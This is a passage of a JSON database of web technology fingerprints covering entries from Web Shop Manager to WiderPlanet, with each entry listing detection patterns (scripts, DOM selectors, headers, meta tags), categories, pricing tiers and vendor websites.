\"icon\": \"Web Shop Manager.svg\",\n    \"js\": {\n      \"WSM.Tracking\": \"\",\n      \"WSM_CHART_COLORS_OPAQUE\": \"\",\n      \"wsmHideHelpBox\": \"\",\n      \"wsm_catalogTabby\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://webshopmanager.com\"\n  },\n  \"Web Stories\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Web Stories is a format for visual storytelling for the open web.\",\n    \"dom\": [\n      \"amp-story\"\n    ],\n    \"icon\": \"Web-Stories.svg\",\n    \"implies\": [\n      \"AMP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://amp.dev/about/stories/\"\n  },\n  \"Web Stories for WordPress\": {\n    \"cats\": [\n      20,\n      87\n    ],\n    \"description\": \"Web Stories for WordPress is a visual editor for creating Web Stories.\",\n    \"icon\": \"Web-Stories.svg\",\n    \"implies\": [\n      \"Web Stories\"\n    ],\n    \"meta\": {\n      \"amp-story-generator-name\": \"^Web Stories for WordPress$\",\n      \"amp-story-generator-version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wp.stories.google\"\n  },\n  \"Web Wiz Forums\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Web Wiz Forums is a web-based forum software that enables developers to create and manage online discussion boards or forums for engaging user interactions and community building.\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Web\\\\sWiz\\\\sForums(?:\\\\s([\\\\d\\\\.]+))?$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.webwizforums.com\"\n  },\n  \"Web2py\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"X-Powered-By\": \"web2py\"\n    },\n    \"icon\": \"Web2py.png\",\n    \"implies\": [\n      \"Python\",\n      \"jQuery\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Web2py\"\n    },\n    \"scriptSrc\": [\n      \"web2py\\\\.js\"\n    ],\n    \"website\": \"https://web2py.com\"\n  },\n  \"Web3Forms\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Web3Forms is a contact form to email service utilising the Web3 API.\",\n    \"dom\": [\n      \"form[action*='api.web3forms.com/']\"\n    ],\n    \"icon\": \"Web3Forms.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://web3forms.com\"\n  },\n  \"WebAssembly\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:webassembly:webassembly:*:*:*:*:*:*:*:*\",\n    \"description\": \"WebAssembly (abbreviated Wasm) is a binary instruction format for a stack-based virtual machine. Wasm is designed as a portable compilation target for programming languages, enabling deployment on the web for client and server applications.\",\n    \"headers\": {\n      \"Content-Type\": \"application/wasm\"\n    },\n    \"icon\": \"WebAssembly.svg\",\n    \"js\": {\n      \"wasmBinary\": \"\",\n      \"wasmBinaryFile\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/wasm_exec\\\\.js\"\n    ],\n    \"website\": \"https://webassembly.org/\"\n  },\n  \"WebEngage\": {\n    \"cats\": [\n      32,\n      76\n    ],\n    \"description\": \"WebEngage is a customer data platform and marketing automation suite.\",\n    \"icon\": \"WebEngage.svg\",\n    \"js\": {\n      \"webengage.__v\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.webengage\\\\.co(?:m)?/\"\n    ],\n    \"website\": \"https://webengage.com\"\n  },\n  \"WebFactory Maintenance\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WebFactory Maintenance is a WordPress plugin which allows you to create an maintenance page.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/maintenance/']\"\n    ],\n    \"icon\": \"WebFactory_Maintence.svg\",\n    \"js\": {\n      \"mtnc_front_options\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/maintenance\"\n  },\n  \"WebFactory Under Construction\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WebFactory Under Construction is a WordPress plugin which allows you to create an under construction page.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/under-construction-page/']\"\n    ],\n    \"icon\": \"WebFactory_Under_Construction.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/under-construction-page\"\n  },\n  \"WebGUI\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"wgSession\": \"\"\n    },\n    \"icon\": \"WebGUI.png\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"meta\": {\n      \"generator\": \"^WebGUI ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.webgui.org\"\n  },\n  \"WebHostUK\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"WebHostUK is a UK based web hosting company offering cheap yet reliable and secure web hosting solutions on both Linux and Windows servers.\",\n    \"dns\": {\n      \"NS\": \"ns2\\\\d\\\\.dnshostcentral\\\\.com\",\n      \"SOA\": \"ns2\\\\d\\\\.dnshostcentral\\\\.com\"\n    },\n    \"icon\": \"WebHostUK.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://www.webhostuk.co.uk\"\n  },\n  \"WebMetric\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"_wmuid\": \"\"\n    },\n    \"icon\": \"WebMetric.svg\",\n    \"js\": {\n      \"_wmid\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.webmetric\\\\.ir\"\n    ],\n    \"website\": \"https://webmetric.ir/\"\n  },\n  \"WebNode\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"cookies\": {\n      \"_gat_wnd_header\": \"\"\n    },\n    \"description\": \"Webnode is a drag-and-drop online website builder.\",\n    \"icon\": \"WebNode.svg\",\n    \"js\": {\n      \"wnd.$system\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Webnode(?:\\\\s([\\\\d.]+))?$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.webnode.com\"\n  },\n  \"WebRTC\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"WebRTC is an open-source project that enables real-time voice, text and video communications capabilities between web browsers and devices.\",\n    \"icon\": \"WebRTC.svg\",\n    \"oss\": true,\n    \"website\": \"https://webrtc.org\"\n  },\n  \"WebSite X5\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"WebSite X5 is a tools to create and publish websites.\",\n    \"icon\": \"WebSite X5.svg\",\n    \"meta\": {\n      \"generator\": \"Incomedia WebSite X5 (\\\\w+ [\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://websitex5.com\"\n  },\n  \"WebSocket\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"WebSocket is a communication protocol that provides full-duplex communication channels over a single, long-lived connection, enabling interactive communication between web browsers and servers.\",\n    \"dom\": [\n      \"link[rel='web-socket']\"\n    ],\n    \"html\": [\n      \"<(?:link|a)[^>]+href=[\\\"']wss?://\"\n    ],\n    \"icon\": \"WebSocket.svg\",\n    \"oss\": true,\n    \"website\": \"https://en.wikipedia.org/wiki/WebSocket\"\n  },\n  \"WebToffee Stripe Payment Plugin for WooCommerce\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WebToffee Stripe Payment Plugin for WooCommerce is a software add-on that allows online retailers using the WooCommerce ecommerce platform to accept payments through the Stripe payment gateway.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/payment-gateway-stripe-and-woocommerce-integration/']\"\n    ],\n    \"icon\": \"WebToffee.svg\",\n    \"implies\": [\n      \"Stripe\",\n      \"WooCommerce\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.webtoffee.com/product/woocommerce-stripe-payment-gateway/\"\n  },\n  \"WebWave\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"WebWave is a drag and drop website builder.\",\n    \"icon\": \"WebWave.svg\",\n    \"js\": {\n      \"webwave.getAppVersion\": \"\",\n      \"webwaveFontsLoadedFlag\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://webwavecms.com\"\n  },\n  \"WebZi\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"WebZi is a professional website builder.\",\n    \"icon\": \"Webzi.svg\",\n    \"js\": {\n      \"WebziCart\": \"\",\n      \"WebziValidate\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Webzi\\\\.ir\\\\sWebsite\\\\sBuilder$\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//webzi\\\\.ir/\"\n    ],\n    \"website\": \"https://webzi.ir\"\n  },\n  \"Webasyst Shop-Script\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Webasyst Shop-Script is a feature-rich PHP ecommerce framework and shopping cart solution.\",\n    \"icon\": \"Webasyst Shop-Script.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"shopOrdercallConfigStaticUrl\": \"/wa-apps/\",\n      \"shop_cityselect.lib\": \"/wa-apps/\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shop-script.com\"\n  },\n  \"Webeo\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Webeo is a platform that enables website owners to customize the content on their website for each individual visitor, creating a unique experience for them.\",\n    \"dom\": [\n      \"script#__webeoCoreScript\"\n    ],\n    \"icon\": \"Webeo.svg\",\n    \"js\": {\n      \"__webeoEventQueue\": \"\",\n      \"__webeoGlobals\": \"\",\n      \"__webeoRunPersonalisation\": \"\",\n      \"__webeoScriptStart\": \"\",\n      \"__webeoStarted\": \"\",\n      \"__webeoUnmask\": \"\",\n      \"__webeoVisitData\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.webeo.com\"\n  },\n  \"Weberlo\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Weberlo is a platform that enables users to track their Return on Investment (ROI) and Return on Advertising Spend (ROAS).\",\n    \"icon\": \"Weberlo.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.weberlo\\\\.com/\"\n    ],\n    \"website\": \"https://www.weberlo.com\"\n  },\n  \"Webeyez\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Webeyez is an ecommerce monitoring and analytics solution designed to assist teams in identifying, alerting, prioritising, and resolving operational and technical issues for revenue recovery.\",\n    \"icon\": \"Webeyez.svg\",\n    \"js\": {\n      \"___WEBEYEZ_CACHE\": \"\",\n      \"___WEBEYEZ_REGISTER_ERROR\": \"\",\n      \"webeyez_wzPageEntryKey\": \"\",\n      \"webeyezstartAll\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.webeyez.com\"\n  },\n  \"Webflow\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Webflow is Software-as-a-Service (SaaS) for website building and hosting.\",\n    \"dom\": [\n      \"html[data-wf-site]\"\n    ],\n    \"icon\": \"webflow.svg\",\n    \"js\": {\n      \"Webflow\": \"\",\n      \"Webflow._.VERSION\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"generator\": \"Webflow\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://webflow.com\"\n  },\n  \"Webflow Ecommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Webflow is a zero-code visual website builder, with Webflow Ecommerce, you can build and design online stores.\",\n    \"icon\": \"webflow.svg\",\n    \"js\": {\n      \"__WEBFLOW_CURRENCY_SETTINGS\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Webflow\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://webflow.com/ecommerce\"\n  },\n  \"Webgains\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Webgains is an affiliate marketing network.\",\n    \"icon\": \"Webgains.svg\",\n    \"js\": {\n      \"ITCLKQ\": \"\"\n    },\n    \"scriptSrc\": [\n      \"analytics\\\\.webgains\\\\.io\"\n    ],\n    \"website\": \"https://www.webgains.com/\"\n  },\n  \"Webica\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Webica is a web-based platform designed to manage online advertising campaigns for your website.\",\n    \"icon\": \"Webica.svg\",\n    \"js\": {\n      \"WebicaWidget\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://webica.pro\"\n  },\n  \"Webim\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Webim is a platform offering live chat service for website visitors, facilitating real-time communication between businesses and their online audience.\",\n    \"icon\": \"Webim.svg\",\n    \"js\": {\n      \"webim\": \"\",\n      \"webim.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.webim\\\\.ru/\"\n    ],\n    \"website\": \"https://webim.ru\"\n  },\n  \"Webix\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Webix is a JavaScript UI library that offers over 100 customizable UI components for creating web applications, supporting integration with frameworks like Angular, React, and Vue.js.\",\n    \"icon\": \"Webix.svg\",\n    \"js\": {\n      \"webix\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\bwebix\\\\.js\"\n    ],\n    \"website\": \"https://webix.com\"\n  },\n  \"Weblication\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:weblication:cms_core_\\\\&_grid:*:*:*:*:*:*:*:*\",\n    \"description\": \"Weblication is an enterprise-class website content management system developed by Scholl Communications AG in Germany.\",\n    \"icon\": \"Weblication.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"XSLT\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Weblication® CMS$\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"onetime\",\n      \"payg\"\n    ],\n    \"website\": \"https://weblication.de\"\n  },\n  \"Weblium\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Weblium let's you create a web site or online store without the need for a web developer or designer.\",\n    \"dom\": [\n      \"link[href*='res2.weblium.site']\"\n    ],\n    \"icon\": \"Weblium.svg\",\n    \"implies\": [\n      \"Node.js\",\n      \"OpenResty\",\n      \"React\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"res2\\\\.weblium\\\\.site/common/core\\\\.min\\\\.js\"\n    ],\n    \"url\": [\n      \"\\\\.weblium\\\\.site\"\n    ],\n    \"website\": \"https://weblium.com\"\n  },\n  \"Weblogic Server\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"WebLogic Server is an Application Server that runs on a middle tier, between back-end databases and related applications and browser-based thin clients.\",\n    \"headers\": {\n      \"Server\": \"^WebLogic\\\\sServer\\\\s([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"implies\": [\n      \"JavaServer Pages\"\n    ],\n    \"website\": \"https://www.oracle.com/java/weblogic\"\n  },\n  \"Webmin\": {\n    \"cats\": [\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*\",\n    \"description\": \"Webmin is a free, open-source application for Linux server administration.\",\n    \"icon\": \"Webmin.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.webmin.com\"\n  },\n  \"WeboLead\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"WeboLead is an analytics tool designed to convert anonymous website visitors into qualified prospects by analysing user behaviour and providing actionable insights.\",\n    \"icon\": \"WeboLead.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.webolead\\\\.com/\"\n    ],\n    \"website\": \"https://www.webolead.com/\"\n  },\n  \"Webolytics\": {\n    \"cats\": [\n      10,\n      71\n    ],\n    \"description\": \"Webolytics is an open API platform designed to track return on advertising spend.\",\n    \"icon\": \"Webolytics.svg\",\n    \"js\": {\n      \"webo_gtm_id\": \"\",\n      \"webo_gtm_label\": \"\",\n      \"webo_gtm_prefix\": \"\",\n      \"webolytics_site_tag\": \"\",\n      \"webolytics_webhook_call\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.webolytics.com\"\n  },\n  \"Webpack\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Webpack is an open-source JavaScript module bundler.\",\n    \"icon\": \"Webpack.svg\",\n    \"js\": {\n      \"webpackChunk\": \"\",\n      \"webpackJsonp\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://webpack.js.org/\"\n  },\n  \"Webpushr\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Webpushr is a web push notification platform that supports mobile and desktop devices.\",\n    \"icon\": \"webpushr.svg\",\n    \"js\": {\n      \"WebPushr.notificationCard\": \"\",\n      \"webpushr_display_button\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"freemium\",\n      \"low\"\n    ],\n    \"scripts\": [\n      \"cdn\\\\.webpushr\\\\.com/app\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.webpushr.com\"\n  },\n  \"Webriti Busiprof\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Busiprof is a fully responsive and translation-ready WordPress theme by Webriti.\",\n    \"icon\": \"Webriti.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/busiprof(?:-pro)?/\"\n    ],\n    \"website\": \"https://webriti.com/busiprof-premium-wordpress-theme-1\"\n  },\n  \"WebsPlanet\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"WebsPlanet.png\",\n    \"meta\": {\n      \"generator\": \"WebsPlanet\"\n    },\n    \"website\": \"https://websplanet.com\"\n  },\n  \"Websale\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"websale_ac\": \"\"\n    },\n    \"icon\": \"Websale.png\",\n    \"website\": \"https://websale.de\"\n  },\n  \"Website Creator\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"WebsiteCreator.png\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Vue.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"Website Creator by hosttech\",\n      \"wsc_rendermode\": \"\"\n    },\n    \"website\": \"https://www.hosttech.ch/websitecreator\"\n  },\n  \"WebsiteBaker\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:websitebaker:websitebaker:*:*:*:*:*:*:*:*\",\n    \"icon\": \"WebsiteBaker.png\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"WebsiteBaker\"\n    },\n    \"website\": \"https://websitebaker2.org/en/home.php\"\n  },\n  \"WebsiteBuilder\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"WebsiteBuilder is a page-builder for creating web pages without knowledge of programming languages.\",\n    \"icon\": \"WebsiteBuilder.svg\",\n    \"js\": {\n      \"_site.urls.dataproxy\": \"\\\\.mywebsitebuilder\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.websitebuilder.com\"\n  },\n  \"Websocket\": {\n    \"cats\": [\n      19\n    ],\n    \"html\": [\n      \"<link[^>]+rel=[\\\"']web-socket[\\\"']\",\n      \"<(?:link|a)[^>]+href=[\\\"']wss?://\"\n    ],\n    \"icon\": \"websocket.png\",\n    \"website\": \"https://en.wikipedia.org/wiki/WebSocket\"\n  },\n  \"Webtrends\": {\n    \"cats\": [\n      10\n    ],\n    \"html\": [\n      \"<img[^>]+id=\\\"DCSIMG\\\"[^>]+webtrends\"\n    ],\n    \"icon\": \"Webtrends.png\",\n    \"js\": {\n      \"WTOptimize\": \"\",\n      \"WebTrends\": \"\"\n    },\n    \"website\": \"https://worldwide.webtrends.com\"\n  },\n  \"Webx\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Webx is a hosted ecommerce solution from Pakistan.\",\n    \"dom\": [\n      \"div#divPowered > div > p > a[href*='.webx.pk']\"\n    ],\n    \"icon\": \"Webx.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.webx.pk\"\n  },\n  \"Webyn\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Webyn is a SaaS platform employing AI to analyse website traffic and implement automated, personalised enhancements aimed at improving user experience and potentially increasing conversions for clients.\",\n    \"dom\": [\n      \"link[href*='files.webyn.ai']\"\n    ],\n    \"icon\": \"Webyn.svg\",\n    \"js\": {\n      \"WebynInstance\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"files\\\\.webyn\\\\.ai/\"\n    ],\n    \"website\": \"https://www.webyn.ai\"\n  },\n  \"Webzie\": {\n    \"cats\": [\n      1,\n      6,\n      51\n    ],\n    \"description\": \"Webzie is a website builder optimised for performance.\",\n    \"icon\": \"Webzie.svg\",\n    \"meta\": {\n      \"generator\": \"^Webzie\\\\.com\\\\sWebsite\\\\sBuilder$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.webzie.com/\"\n  },\n  \"Weebly\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Weebly is a website and ecommerce service.\",\n    \"icon\": \"Weebly.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"_W.configDomain\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\d+\\\\.editmysite\\\\.com\"\n    ],\n    \"website\": \"https://www.weebly.com\"\n  },\n  \"Weglot\": {\n    \"cats\": [\n      89\n    ],\n    \"description\": \"Weglot is a website translation solution facilitating automatic and manual multilingual content management for website owners and developers.\",\n    \"headers\": {\n      \"Weglot-Translated\": \"\"\n    },\n    \"icon\": \"Weglot.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.weglot\\\\.com\",\n      \"wp-content/plugins/weglot\"\n    ],\n    \"website\": \"https://www.weglot.com\"\n  },\n  \"Welcart\": {\n    \"cats\": [\n      6,\n      87\n    ],\n    \"cookies\": {\n      \"usces_cookie\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:welcart:welcart:*:*:*:*:*:*:*:*\",\n    \"description\": \"Welcart is a free ecommerce plugin for WordPress with top market share in Japan.\",\n    \"html\": [\n      \"<link[^>]+?href=\\\"[^\\\"]+usces_default(?:\\\\.min)?\\\\.css\",\n      \"<!-- Welcart version : v([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Welcart.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"uscesL10n\"\n    ],\n    \"website\": \"https://www.welcart.com\"\n  },\n  \"WeltPixel Pearl Theme\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Pearl Theme for Magento 2 by WeltPixel. Pearl Theme is following the Magento architecture, layouts and best practice in order to assure highest compatibility with 3rd party extensions.\",\n    \"dom\": [\n      \"body.theme-pearl\"\n    ],\n    \"icon\": \"WeltPixel.svg\",\n    \"implies\": [\n      \"Magento\\\\;version:2\"\n    ],\n    \"js\": {\n      \"Pearl\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"onetime\"\n    ],\n    \"website\": \"https://www.weltpixel.com/magento-2-theme-pearl\"\n  },\n  \"Wepay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Wepay is a provider of integrated payments processing solutions tailored for platforms, facilitating transaction management across diverse service offerings.\",\n    \"dom\": [\n      \"link[href*='.wepay.com']\"\n    ],\n    \"icon\": \"WePay.svg\",\n    \"js\": {\n      \"WePay\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wepay\\\\.com/\"\n    ],\n    \"website\": \"https://go.wepay.com\"\n  },\n  \"Weply\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Weply is a Nordic lead generation chat system designed to enhance lead generation from existing website traffic.\",\n    \"icon\": \"Weply.svg\",\n    \"js\": {\n      \"$$weply\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.weply\\\\.chat/\"\n    ],\n    \"website\": \"https://weply.chat\"\n  },\n  \"Whatfix\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"Whatfix is a SaaS based platform which provides in-app guidance and performance support for web applications and software products.\",\n    \"icon\": \"Whatfix.svg\",\n    \"js\": {\n      \"_wfx_add_logger\": \"\",\n      \"_wfx_settings\": \"\",\n      \"wfx_is_playing__\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.whatfix\\\\.com/\"\n    ],\n    \"website\": \"https://whatfix.com\"\n  },\n  \"WhatsApp Business Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"WhatsApp Business is a free to download app available on Android and iPhone using which businesses can connect with their customers.\",\n    \"dom\": [\n      \"a[href*='api.whatsapp.com/send'], a[href*='web.whatsapp.com/send'], div[class*='wptwa-container'], a[href*='wa.link'][target='_blank'], link[href*='plugins/creame-whatsapp-me']\"\n    ],\n    \"icon\": \"WhatsApp.svg\",\n    \"scriptSrc\": [\n      \"/plugins/creame-whatsapp-me.*joinchat\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.whatsapp.com/business\"\n  },\n  \"Wheelio\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Wheelio is gamified pop-up/widget for ecommerce sites.\",\n    \"icon\": \"Wheelio.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wheelioapp\\\\.azureedge\\\\.net\"\n    ],\n    \"website\": \"https://wheelio-app.com/\"\n  },\n  \"Whistl\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Whistl is a postal delivery company operating in the United Kingdom.\",\n    \"icon\": \"Whistl.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bWhistl\\\\b\"\n    ],\n    \"website\": \"https://www.whistl.co.uk\"\n  },\n  \"Whooshkaa\": {\n    \"cats\": [\n      5\n    ],\n    \"html\": [\n      \"<iframe src=\\\"[^>]+whooshkaa\\\\.com\"\n    ],\n    \"icon\": \"Whooshkaa.svg\",\n    \"website\": \"https://www.whooshkaa.com\"\n  },\n  \"WideBundle\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"WideBundle is a Shopify application that allows a merchant to set up bundles on his store.\",\n    \"icon\": \"WideBundle.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//widebundle\\\\.com/\"\n    ],\n    \"website\": \"https://en.widebundle.com\"\n  },\n  \"Widen\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Widen is a digital asset management and product information management solutions provider.\",\n    \"icon\": \"Widen.svg\",\n    \"js\": {\n      \"WidenSessionTimer\": \"\\\\;confidence:50\",\n      \"WidenUI\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets/\\\\d+-\\\\d+/stack/en/widenjs\\\\.js\"\n    ],\n    \"website\": \"https://www.widen.com\"\n  },\n  \"WiderPlanet\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"WiderPlanet is a real-time advertising platform that utilises user behaviour data to deliver targeted 